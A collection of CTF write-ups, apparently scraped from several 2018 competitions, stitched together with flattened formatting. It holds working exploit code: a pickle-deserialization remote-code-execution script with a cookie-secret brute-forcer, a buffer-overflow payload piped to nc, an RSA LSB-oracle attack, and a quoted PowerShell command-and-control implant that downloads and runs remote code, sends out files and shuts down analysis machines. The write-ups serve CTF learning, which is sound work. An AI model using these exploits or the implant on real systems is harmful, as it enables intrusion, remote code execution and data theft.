table_value = "6(#KM5_3KYG^~]O\"9q#O4KLsbE{_yri|6(5SDjll`%J:WEs6q-WETYtwSqD#%](D\"*O0W3YIL]&Yls(#\"^8RV}[8v}4g]uI94M>o.SIJUMu?gD$)`@NVpL:~R&xYs6(~V:c[K(=H8VSs<w5b:NTuN@{{]{tgBUk0c0WAQj7V*hSBUqgS0C\}}a<\"fwwT*Dy3W?$O5eEH.n?%L\"~U:RY;LGzR\"~T/D)~d6hHYU;QMu ??Y\"W=?0p_E{Xw'"
flag = ""
bit = 0
for d in table_value:
pos_table = alphabet.find(d) pos_axis = alphabet.find(axis_value[bit:bit+1])
bit += 1 bit = bit % len(axis_value)
y = (pos_table - pos_axis) % 94
flag += alphabet[y:y+1]
print(flag)
```Essentially, as we only got the x value of the table (from the cipher text) and the value (from the decipher) we needed to findthe value of y. To do this I created a string called alphabet and using a little math found that you essentially subtracting theposition of the table value from the position of x we get the new value. The mod 94 is to make sure if the value went over the length of the alphabet string, it went back to the beginning.
Doing this we got a key of:
5T3@mPuNk_Wh@t_5T3@mP_l0lR3p34t5T3@mPuNk_Wh@t_5T3@mP_l0lR3p34t5T3@mPuNk_Wh@t_5T3@mP_l0lR3p34t5T3@mPuNk_Wh@t_5T3@mP_l0lR3p34t5T3@mPuNk_Wh@t_5T3@mP_l0lR30s;#ZA{{:%Nd[F,Il6tFAuJ#sLSm*5rF<#9$dBQ1DJ>ZIG'WNN~G6l:6bMGyFce-fB&d9d2:q<zRul.PNO>URy^uJLF*yR
To be honest, I don't know what happens at the end but at least at the beginning we see a repetition of the key which is: 5T3@mPuNk_Wh@t_5T3@mP_l0lR3p34t (steampunk_what_steamp_??no clue??) Now using the key we can calculate the value of the flag. We have our x value again and our result but not the y value. Look's like we have to run the script again but we need to change the variables a bit.
```pythonalphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
table_value = ")J\"<E9o.cOMU%T!$NB/!0U`tLrqERuaG4(g.EUyM2?z>"
axis_value = "5T3@mPuNk_Wh@t_5T3@mP_l0lR3p34t"
bit = 0
for d in table_value:
pos_table = alphabet.find(d) pos_axis = alphabet.find(axis_value[bit:bit+1])
bit += 1 bit = bit % len(axis_value)
y = (pos_table - pos_axis) % 94
flag += alphabet[y:y+1]
print(flag)```
We get the flag!
|
```bashtcpflow -C -r ids_alert.pcap | sed -n "3p" | cut -d":" -f2 > key; tcpflow -C -r ids_alert.pcap | tr `tr "[:upper:]" "[:lower:]" < key``cat key` `python -c 'import string; print string.ascii_letters'` | grep -Eo "INSA{.*}"``` |
Click any button on the challenge and intercept the request with burp suite
{"id": 1}
try type juggling the value with 1.2 or soor put it between "{"id":"1"} |
```zsteg grinfo.png -E b1,b,lsb,xy > step1.gif
convert -verbose -coalesce step1.gif step2.png
montage step2-* -tile x1 -geometry '1x1+0+0<' final.png```
By https://twitter.com/diofeher and https://twitter.com/K4L1_FS |
# Python revenge (Web)
In the task we get access to a webpage which stores some data we input in a form.We also get [source code](revenge.py) of the page.It's using Flask and Python.
The important part is the way the page stores our input:
```pythonlocation = b64e(pickle.dumps(location))cookie = make_cookie(location, cookie_secret)```
So the data are stored in a cookie using pickle, and as it seems they are loaded the same way:
```pythondef loads(strs): reload(pickle) files = StringIO(strs) unpkler = pickle.Unpickler(files) unpkler.dispatch[pickle.REDUCE] = _hook_call( unpkler.dispatch[pickle.REDUCE]) return unpkler.load()```
We've written already quite a few writeups on exploiting pickle.In short pickle deserialization can call functions.We only need to have a callable and tuple of arguments and we can call this.The simplest trick would be to make a pickle like:
```cossystem(S'ls -la'tR.```
Where `c` means that rests of the line is module name and next line is symbol name to import, `S'some string'` places a string on the stack, `t` means pop elements from the stack up until `(` and then place a tuple of all those arguments on the stack, and `R` means pop 2 elements from the stack, and try to call the first one with second one as argument. Dot is just end of pickle.
So this translates to: `os.system('ls -la')`
In our task we've got two issues to overcome. First there is a signature for the cookie content:
```pythondef getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = loads(b64d(location)) return location
def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest()```
So we can't simply place any payload in the cookie, because we need to know the hash.The secret to hash is appended at the end, so we can'y simply use hash length extension here.However, we notice in the code:
```pythonif not os.path.exists('.secret'): with open(".secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(4)) f.write(secret)with open(".secret", "r") as f: cookie_secret = f.read().strip()```
So the `secret` is actually only 4 bytes and only from `string.ascii_letters + string.digits` charset!We can simply grab an some random cookie and then run:
```pythondef break_cookie(): data = 'd7e3bd07f7ae389f07abe89d199ebae1e1e67b4479a98870ee5a3c4fe0f56237!VjErMQpwMAou' (hash, msg) = data.split("!") for c in itertools.product(string.ascii_letters + string.digits, repeat=4): if hashlib.sha256("%s%s" % (msg, "".join(c))).hexdigest() == hash: print("".join(c))
break_cookie()```
This way we recover secret `hitb`
Now we can send arbitrary payloads to the page, now we need to face the second issue:
```pythonblack_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]```
We can't use any of those in our pickle payload, so our example with `os.system` won't do.
It took a moment to notice one important thing about this task - it's Python 2, and on the blacklist there is no `input()` function.There is a huge difference between Python 2 and 3 regarding this function.In Python 3 it behaves the same as `raw_input()` from Python 2 - it simply reads input from stdin.But in Python 2 what it does is actually `eval(raw_input())`, so by using `input()` we can do `eval()`.
The function itself we can grab from `__builtin__` module so simple:
```c__builtin__input(S'> '\ntR.```
Would invoke the function with `> ` as prompt.Now we need to actually send some data to the function, but it reads from `stdin`.Fortunately python allows to monkey-patch almost anything, so we can simply assign some object to `sys.stdin` and therefore substitute stdin for something else.Of course pickle requires the functinal form of `function, args` so we actually need to do `setattr(sys, 'stdin', something_else)`Again, we can grab `setattr` from `__builtin__`.To get `sys` module object we need to import it.We can't use `csys` or `isys` because both require actually importing something from this module, not module itself.What we need is to call `__import__('sys')`, and again function `__import__` is in `__builtin__`.
So we can just do:
```c__builtin__setattr(c__builtin____import__(S'sys'tRS'stdin'SOMETHING_ELSEtR.```
Which will translate to `__builtin__.setattr(__builtin__.__import__('sys'),'stdin',SOMETHING_ELSE)`
Now the last part is to change `stdin` into some string based source, for that we can just use `StringIO` class so:
```cStringIOStringIO(S'command'tR.```
So now if we combine this we get:
```c__builtin__setattr(c__builtin____import__(S'sys'tRS'stdin'cStringIOStringIO(S'" + command_to_eval + "'tRtRc__builtin__input(S'python> 'tR.```
Which translates to:
```newstdin = StringIO.StringIO(command_to_eval) # just for readability__builtin__.setattr(__builtin__.__import__('sys'),'stdin',newstdin)__builtin__.input('python> ')```
And gives us power to execute python.
The final attck script is simply:
```pythondef main(): url = "http://47.75.151.118:9999" response = "" while True: try: command_to_eval = raw_input("python> ") payload = "c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'" + command_to_eval + "'\ntRtRc__builtin__\ninput\n(S'> '\ntR." response = requests.get(url, cookies={"location": make_cookie(base64.b64encode(payload), 'hitb')}) print(re.findall('<h3 class="wow fadeInLeftBig">(.*?)</h3>', response.text, re.DOTALL)[0]) except Exception as e: print(response.text)
main()```
We can execute for example `__import__("subprocess").check_output("ls")` to run `ls` command.For some reason it was failing on some commands, so we just kept using Python API like `__import__("os").listdir("/")`In the root there was file `flag_is_here` and by sending `open('/flag_is_here','r').read()` we get: `HITB{Py5h0n1st8eBe3tNOW}`
|
# Multicheck (re)
The task was a mobile (android) reversing challenge.We get [android app](multicheck.apk) to work with.After decompiling we can see there is only [a single class there](MainActivity.java).
What is does is loading from resources file `claz.dex` (in method `m2541i`) and then loading method `check` from class `com.a.Check`, and using this method to validate the password.
If we decompile the `claz.dex` from resources we do get [Check class](Check.java), but it turns out to be a red herring with `this is not the flag` message.
Last piece of the puzzle is the native library which is in fact loaded by the main activity:
```javastatic { System.loadLibrary("check");}```
It's ARM dynamic library, and if we look into it we find an interesting function at `0x1380`:
```cint sub_1380(int arg0, int arg1, int arg2) { stack[2043] = r4; *((sp - 0x14) + 0xfffffffffffffffc) = r8; r5 = arg0; r8 = arg2; r6 = arg1; r4 = *0x474c; if (r4 == 0x0) { r4 = malloc(0x100); *0x474c = r4; *0x4750 = malloc(0x100); } sprintf(r4, 0x1450); readlink(*0x474c, *0x4750, 0x100); if (sub_1318(*0x4750, "claz.dex") != 0x0) { if (*(int8_t *)0x4754 == 0x0) { r4 = malloc(**0x3f40); if (**0x3f40 >= 0x1) { r0 = 0xe9; r1 = 0x0; do { *(r4 + r1) = *(int8_t *)(*0x3f44 + r1) ^ r0; r1 = r1 + 0x1; r0 = r0 + 0x1; } while (r1 < **0x3f40); } write(r5, r4, **0x3f40); free(r4); *0x4754 = 0x1; } r0 = r8; } else { r0 = loc_29c4(); } return r0;}```
What it does is actually "decrypt" (via simple xor) a real `claz.dex` file.We can therefore repeat the same operation and recover dex and then decompile it, getting [real Check.java](CheckReal.java) class.
This one is a bit more complex than the fake one.
There is a static array with expected values, some encryption-like function is called on our input, and then compared with this array.
```javapublic static boolean CheckReal(String str) { return Arrays.equals(CheckReal.m1a(str.getBytes()), f1b);}```
Functions `m4a` and `m3a` are easy enough to label.First one takes array of bytes and combines those bytes into 32 bit integers.Second one does the reverse, so takes array of integers and splits them into separate bytes.Function `m0a` simply makes sure we're working with unsigned byte values.Function `m1a` creates payload to encrypt from our input, and then encrypts the data in 8-byte blocks.
What we really need to invert is function `m2a` which does the actual encryption.This function is very complex to read:
- combine the 8 bytes input into two 32-bit integers- perform some XOR and arithmetic operations in 32 loop iterations- split the result back into 8 bytes array
Fortunately for us the whole process is invertible, because we can simply perform all those operations backwards:
```java static byte[] decode8Bytes(byte[] inputData, int startIndex) { int[] combined = CheckReal.combine8BytesIntoTwo32bitInts(inputData, startIndex); int firstInt = combined[0]; int secondInt = combined[1]; int i5 = 0; for (int i = 0; i < 32; i++) { i5 -= 1640531527; } int const1 = f0a[0]; int const2 = f0a[1]; int const3 = f0a[2]; int const4 = f0a[3]; for (int i = 0; i < 32; i++) { secondInt -= (((firstInt << 4) + const3) ^ (firstInt + i5)) ^ ((firstInt >> 5) + const4); firstInt -= (((secondInt << 4) + const1) ^ (secondInt + i5)) ^ ((secondInt >> 5) + const2); i5 += 1640531527; } int[] result = new int[2]; result[0] = firstInt; result[1] = secondInt; return CheckReal.splitIntoSeparateBytes(result); }```
We can call this function on the expected results and recover the input:
```java public static void main(String[] args) { StringBuilder flag = new StringBuilder(); for (int i = 0; i < 32; i += 8) { byte[] expectedInput = CheckReal.decode8Bytes(f1b, i); flag.append(new String(expectedInput)); } System.out.println(flag); }```
Which gives: `HITB{SEe!N9_IsN'T_bELIEV1Ng}` |
#### SwampCTF 2018 - Apprentice's Return 399 - Pwn
##### Challenge
For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.
Connect:nc chal1.swampctf.com 1802
##### Solution
File:
```return: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e510acf107cc9f91edd02f76f14598fcb30de6b, not stripped```
First, we have to know what is the functionality of the program. To do it, we did reverse engineering to understand the program.
Summarizing, the program gets a string of maximum length (50 chars) and check that in the position 42 of this string is less or equal than "0x8048595", if this condition is ok, we will avoid the exit function and we will jump to the final of the function doBattle.
Finally, in the return of the function doBattle we will overwrite the original address with the function that execute system.
The difficulty is that the address of the comparison and where we will jump need to be less than 0x8048595, so we need to find a "ret" instruction in a position less of 0x8048595
```bash$ ./Ropper.py --file ~/CTF/SWAMPCTF/pwn/return --search "ret"[INFO] Load gadgets for section: PHDR[LOAD] loading... 100%[INFO] Load gadgets for section: LOAD[LOAD] loading... 100%[LOAD] removing double gadgets... 100%[INFO] Searching for gadgets: ret
[INFO] File: /home/manu/CTF/SWAMPCTF/pwn/return0x08048545: ret 0x2b76; 0x0804853e: ret 0x95b8; 0x0804847e: ret 0xeac1; 0x080485ea: ret 0xfffd; 0x0804835a: ret; ```
0x0804835a is perfect for our purpose. So, we just need to write the address of the function that perform the system function after than 0x0804835a.
The final exploit:
```"A"*42+<ret address>+<slayTheBeast function>```
###### Exploitation
```bash$ python -c 'print "A"*42+"\x5a\x83\x04\x08"+"\xdc\x85\x04\x08"' > input$ cat input | nc chal1.swampctf.com 1802As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip! The beast lurches at you; quick! Tell me what you do: Your actions take the Allip by surprise, causing it to falter in its attack! You notice a weakness in the beasts form and see a glimmer of how it might be defeated.Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret: flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}```
|
# Easy pub (crypto)
In the task we get [source code](easypub.py) of a service.We can `register` there and we get some kind of ticket with signatures, which we can use to login.If we login as admin, we will get the flag, but this requires some `secret admin key`.
This secret key is embedded in ticket we get:
```pythonmsg = name + b'\x00' + bytes(admin_k, 'ISO-8859-1')if size(bytes_to_long(msg)) > 700: print('Too long username') continuemsg = msg + urandom(120 - len(msg))msg = bytes_to_long(msg)if msg % 2 == 1: msg += 1sig = cry.sign(msg)ticket = cry.encrypt(msg)print(ticket)print(sig[0])print(sig[1])```
So if we could decrypt the ticket, we would get the necessary `admin_k` value.There are two things to notice here already:
- We can cause an error when `name + b'\x00' + bytes(admin_k, 'ISO-8859-1')` is longer than 700 bits, and therefore we can easily recover the length of `admin_k` by iteratively sending longer names. From this we get that the length of the secret key is 45 bytes long.- The script makes sure that the `msg` is an even number.
When we try to login we're asked for the ticket and signatures:
```elif choice[0] == 'l': ticket = int(input('ticket:>>')) sig0 = int(input('sig[0]')) sig1 = int(input('sig[1]')) msg = cry.decrypt(ticket) if msg % 2 == 1: print('A bit is wrong, may be something is wrong.') continue if cry.verify(msg, (sig0, sig1)) == cry.verify(msg, (sig1, sig0)): print('Wrong signature!')```
The script checks if the decrypted message is still even (as it should be), and if it's not there is an error message.
If we look at how the ticket encryption works it's simply:
```python def encrypt(self, msg): return self.rsa.encrypt(msg, None)[0]```
So a textbook RSA encryption.When we connect to the challenge we get the public key (e,n) values.
I don't really know what was the purpose of the ElGamal signature here, because we already have all that we need.We have a Least-Significant-Bit Oracle here.We can send encrypted payload to the server, and the server tells us if the LSB is 1 (error message) or 0 (no error message).
We've already described the approach for such case:
- https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit- https://github.com/p4-team/ctf/tree/master/2016-12-16-sharifctf7/crypto_150_lsb
So we won't go into much details here.Long story short, we can use binary search to narrow-down the value of decrypted plaintext.
We know that `n` is a product of some prime numbers, which are all `odd` (except for 2, but we can see it's not the case).Therefore `n` itself has to be `odd` as well.Textbook RSA is simply:
`msg^e mod n`
and therefore if we multiply this by
`2^e mod n`
we get
`(msg^e * 2^e) mod n = (msg*2)^e mod n`
And `2*x` has to be `even` number.
Now if `msg*2` is smaller than `n` the `mod n` operation does nothing, and the result is still `even`.But if `msg*2` is bigger than `n` then `mod n` operation will cut the number, and since `n` is `odd` the result will be `odd` as well.
If we therefore use our LSB Oracle and check the last bit of `msg*2` we will know if `msg` is smaller or bigger than `n/2`.Then we can repeat the whole process using `msg*4` again narrowing down the upper or lower limit for the `msg`.
We have a solver for this in crypto-commons: https://github.com/p4-team/crypto-commons/blob/master/crypto_commons/oracle/lsb_oracle.py
So we can run:
```pythonfrom crypto_commons.netcat.netcat_commons import nc, send, receive_until_matchfrom crypto_commons.oracle.lsb_oracle import lsb_oracle
def oracle(s, payload): send(s, 'l') receive_until_match(s, "\:\>\>", None) send(s, str(payload)) send(s, str(1)) send(s, str(1)) data = receive_until_match(s, "\:\>\>", None) return "bit is wrong" in data
def multiplicate(x, e, n): return (pow(2, e, n) * x) % n
def main(): url = "47.75.53.178" port = 9999 s = nc(url, port) data = receive_until_match(s, "\:\>\>", None).split("\n") e = int(data[1]) n = int(data[2]) print(e, n) send(s, 'r') receive_until_match(s, "\:\>\>", None).split("\n") send(s, 'test') data = receive_until_match(s, "\:\>\>", None).split("\n") ct = int(data[0]) lsb_oracle(ct, lambda x: multiplicate(x, e, n), n, lambda ct: oracle(s, ct))
main()```
The server was very slow and the timeout was 200s, so we could not recover the full `msg` but we managed to get:
```bit = 841upper = 4430931344985544684813124199015272502018314572043348981999211916350388629990315386099138633492940320015200000014369473301421041939195746043762808791461201289927287863927440625964711109289704498508938867370891142910412212369289674088889782436698592352015196254176928757848616673440497064363upper flag = test1qsxcvghyu89olkmnbvd2#$%^&*()_OKMNBFRT:"><~&*m~?<~&*m~?<~&*`
We can now try to login as admin and recover the flag: `HITBXCTF{easy_pub_so_c000l}` |
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|
> Look at these images. See the music.> > [left.png](https://0xd13a.github.io/ctfs/volgactf2018/colors/left.png) [right.png](https://0xd13a.github.io/ctfs/volgactf2018/colors/right.png)
The description hints at some music embedded in the images. Let's open one in ```StegSolve``` and extract its data as a binary file:
The binary can then be imported into ```Audacity``` as raw data. Data plays as a melody, which confirms that it is a sound stream.
Switching to spectrogram view reveals the flag:
The flag is ```VolgaCTF{SOUND_IS_3D_LIKE_IMAGE}```. |
first i checked the image strings,- i used bintext - and found " flag.txt ",you could extract it by foremost,winrar,7-zip...etcthen i got a protected compressed file so i had to try again to get the password..i used stegsolve and got a text " L!ghtUpTh3D@rkn3ss " and it was the password then i got the flag.txt file. |
# HITB-XCTF GSEC CTF 2018 Quals
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180411-hitbxctfqual/) of this writeup.**
- [HITB-XCTF GSEC CTF 2018 Quals](#hitb-xctf-gsec-ctf-2018-quals) - [rev](#rev) - [hacku (sces60107)](#hacku-sces60107) - [sdsun (sces60107 sasdf)](#sdsun-sces60107-sasdf) - [hex (sasdf)](#hex-sasdf) - [First try](#first-try) - [Second try](#second-try) - [misc](#misc) - [tpyx (sces60107)](#tpyx-sces60107) - [readfile (sces60107)](#readfile-sces60107) - [pix (sces60107)](#pix-sces60107) - [pwn](#pwn) - [once (kevin47)](#once-kevin47) - [Vulnerability](#vulnerability) - [Exploit](#exploit) - [gundam (kevin47)](#gundam-kevin47) - [Overview](#overview) - [Vulnerability](#vulnerability-1) - [Leak](#leak) - [Exploit](#exploit-1) - [d (kevin47)](#d-kevin47) - [Overview](#overview-1) - [Vulnerability](#vulnerability-2) - [Exploit](#exploit-2) - [babypwn (how2hack)](#babypwn-how2hack) - [Vulnerability](#vulnerability-3) - [Solution](#solution) - [Exploit](#exploit-3) - [web](#web) - [Upload (bookgin)](#upload-bookgin) - [Find the target](#find-the-target) - [Brute force the path and RCE](#brute-force-the-path-and-rce) - [Python's revenge (sasdf)](#pythons-revenge-sasdf) - [Payload](#payload) - [PHP lover (bookgin & sces60107)](#php-lover-bookgin--sces60107) - [Possible SQL injection](#possible-sql-injection) - [Bypass WAFs](#bypass-wafs) - [Email format regex check](#email-format-regex-check) - [Hacker Filter](#hacker-filter) - [Get the flag](#get-the-flag) - [baby baby (bookgin)](#baby-baby-bookgin) - [Recon](#recon) - [RCE](#rce) - [baby nya (bookgin)](#baby-nya-bookgin) - [Exposed Jserv protocol](#exposed-jserv-protocol) - [Exploit the jolokia](#exploit-the-jolokia) - [baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)](#baby-fs-unsolved-written-by-bookgin-thanks-to-the-organizer-qq-group) - [3pigs (unsolved, written by how2hack)](#3pigs-unsolved-written-by-how2hack) - [Hint](#hint) - [Web Challenge? WutFace](#web-challenge-wutface) - [First stage (Misc)](#first-stage-misc) - [Python Format String Vulnerability](#python-format-string-vulnerability) - [Second stage (Pwn)](#second-stage-pwn) - [Vulnerability](#vulnerability-4) - [Solution...?](#solution-1) - [crypto](#crypto) - [easy_block (sasdf)](#easy_block-sasdf) - [Vulnerability](#vulnerability-5) - [Construct payload](#construct-payload) - [Construct hash](#construct-hash) - [easy_pub (sasdf)](#easy_pub-sasdf) - [streamgamex (sasdf)](#streamgamex-sasdf) - [base (how2hack)](#base-how2hack) - [mobile](#mobile) - [kivy simple (sces60107)](#kivy-simple-sces60107) - [multicheck (sasdf)](#multicheck-sasdf)
## rev
### hacku (sces60107)
In this challenge give us two file. A pcap file and a chm file.
The chm file is useless. The pcap file has a large size, because it is downloading windows update file.
After some digging, I found the dns query is interesting. we can extract some base64 string. And I found a script after base64 decoding.```ps1=$GET_FILE = 'get-fle' $DOWN_EXEC = 'dow-exe'$RUN_CMD = 'run-cmd'
$GET_REG = 'get-reg'$GET_TASK = 'get-tak'$GET_UPDATE = 'get-upd'$GET_REP = 'get-rep'
$STATUS_INIT = 0x0000$STATUS_REGED = 0x8000$STATUS_TASK = $STATUS_REGED -bor 0x1$STATUS_PADD = $STATUS_REGED -bor 0x2
$url = 'http://192.168.99.234/cc/cc.php'$status = $STATUS_INIT$task = $null$running = $True
$pubk = (1501,377753)
function get-Md5Hash($str){ $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str))) return $hash -replace '-'}
function get-ComputeName{ try { return (Get-WmiObject Win32_ComputerSystem).Name; } catch { return "ErrComputeName"; }}
function get-clientID{ try { $did = (wmic diskdrive get SerialNumber) $cid = get-Md5Hash $did return $cid } catch { $CompName = get-ComputeName return get-Md5Hash $CompName }}function Reg-Info{ $clientID = get-clientID $time = Get-Date $c = $GET_REG return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function get-Task{ $clientID = get-clientID $time = Get-Date $c = $GET_TASK return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function EttRRRRRRhd ( $tid , $taskinfo ){ $clientID = get-clientID $time = Get-Date $c = $GET_REP return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} | ConvertTo-Json}
function check_VM(){ $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver") for ($i=0; $i -lt $p.length; $i++) { if(ps -name $p[$i] -ErrorAction SilentlyContinue){ shutdown /s /f /t 0 exit } }}
function YTRKLJHBKJHJHGV($msg){ while($True) { try { $content = $msg $webRq = [System.Net.WebRequest]::Create($url) $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy() $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials # $content = YNHGFOI8YIUGH $content # $content = OPKE3989hYYY $pubk $content # # $content = YNHGFOI8YIUGH $content $enc = [System.Text.Encoding]::UTF8.GetBytes($content) #
$webRq.Method = 'POST' $webRq.ContentLength = $enc.length if ($enc.length -gt 0) { $req_stream = $webRq.GetRequestStream() $req_stream.Write($enc , 0 , $enc.length) } [System.Net.WebResponse] $rep = $webRq.GetResponse() if ($rep -ne $null) { $data = $rep.GetResponseStream() [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data [String] $result = $res_d.ReadToEnd() } } catch { $result = 'err' # } if ($result -eq 'err') { } else { return $result } }}
function POIUIGKJNBYFF($msg){
$msg = OKMNHGGGGSSAAA $pubk $msg $msg = ConvertFrom-Json -InputObject $msg return $msg.r,$msg.e}
function YNHGFOI8YIUGH( $str ){ return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))}
function VCDHJIIDDSQQQ( $b64 ){ return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))}
function POPOUIUJKKKI($file){ return YNHGFOI8YIUGH (Get-Content $file)}
function MJOOLLFGFASA($name){ $filelist = @() $result = @{} for ($i = 0x43 ; $i -lt 0x5b; ++ $i) { try { $dc = '{0}:/' -f ([char]$i) $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName} if ($file.length -gt 0) { $filelist += $file } } catch { continue } } $result.ct = $filelist.length $result.dt = @() foreach( $f in $filelist) { $fd = POPOUIUJKKKI $f $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd} } return ConvertTo-Json -InputObject $result }
function DXCFGIOUUGKJB764($x, $h, $n){ $y = 1 while( $h -gt 0 ) { if ( ( $h % 2 ) -eq 0) { $x = ($x * $x) % $n $h = $h / 2 }else { $y = ($x * $y) % $n $h = $h - 1 } } return $y}
function OPKE3989hYYY($pk , $plaintext){ $key , $n = $pk $arr = @() for ($i = 0 ; $i -lt $plaintext.length ; $i++) { $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n $arr += $x } return $arr}function OKMNHGGGGSSAAA($pk,$enctext){ $key , $n = $pk $txt = ""
$enctext = VCDHJIIDDSQQQ $enctext [int[]]$enctab = $enctext -split ' ' foreach ($x in $enctab) { if ($x -eq 0) { continue } $x = DXCFGIOUUGKJB764 $x $key $n $txt += [char][int]$x } $txt = VCDHJIIDDSQQQ($txt) return $txt}
function UIHIUHGUYGOIJOIHGIHGIH($cmd){ $cmd = ConvertFrom-Json -InputObject $cmd $c = $cmd.c $i = $cmd.i $e = $cmd.e $x = $cmd.x # # if ($c -eq $GET_FILE) { $d = MJOOLLFGFASA $e } elseif ($c -eq $RUN_CMD) { $d = Invoke-Expression $e -ErrorAction SilentlyContinue } elseif ($c -eq $DOWN_EXEC) { $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue }return @($i , $d)}
$MuName = 'Global\_94_HACK_U_HAHAHAHAHA'$retFlag = $flase$Result = $True $MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)if ($retFlag){ $Result = $True}else{ $Result = $False}
if ($Result){ while($True -and $running) { if($status -eq $STATUS_INIT) { $OO0O0O0O00 = Reg-Info $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes' -and $e -eq 'ok_then_u_go') { $status = $STATUS_PADD } } if ($status -eq $STATUS_PADD) { $OO0O0O0O00 = get-Task $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $task = $e $status = $STATUS_TASK } } if ($status -eq $STATUS_TASK) { # $ret = UIHIUHGUYGOIJOIHGIHGIH($task) $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1] $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $status = $STATUS_PADD $task = $null } } sleep 3 } $MyMutexObj.ReleaseMutex() | Out-Null $MyMutexObj.Dispose() | Out-Null}else{
}```
They use `rsa` to encrypt message. the n is easy to factor.
Still, we can find out the encrypted message from pcap file.
We also extract two things from those message. The first one is a rar file, the second is a ps1 script.
We cannot open the rar file. After a few hour, the host change the challenge. Now we have flag part1 instead of rar file. The flag part1 is `HITBXCTF{W0rk_1n_th3_dark_`
Let's see the ps1 script. It actually generate a exe file at the temp directory.
Then, we can reverse that exe file.
I found out that it's trying to write something on MBR.
The final step is reversing what it write on MBR. It's 80286 architecture.
Now we just need decode the encryted flag part2.```python=ciphertext='%\xa19\x89\xa6\x9d\xd5\xa5u\x8dJ\x92\xf1Y^\x91'def ror(a,b): return (a>>b)|(a<<(8-b))def rol(a,b): return (a<<b)|(a>>(8-b))flag=""table=[]#maintain a tablefor j in range(256): x=j x=ror(x,3)%256 x^=0x74 x=rol(x,5)%256 x+=0x47 x%=256 if(x%2==0): teble.append(x-1) else: table.append(x+1)for i in ciphertext: flag+=chr(table.index(ord(i)))print flag```
### sdsun (sces60107 sasdf)
The first thing you will notice is that the binary is packed by upx.
The way I unpack the binary is using gdb. I let the binary exectue for a while. It will be unpacked in the memory. So I can dump the whole memory in gdb.
Now I have the unpacked binary. but it is hard to understand it.
I found some feature indicating that this binary is written in Go language.
Then I use this [script](https://gitlab.com/zaytsevgu/goutils/blob/master/go_renamer.py) to recover the symbol. It will be much easier to understand this binary.
It seems like there is a backdoor. This binary will listen to a random port. And it will output the port number.
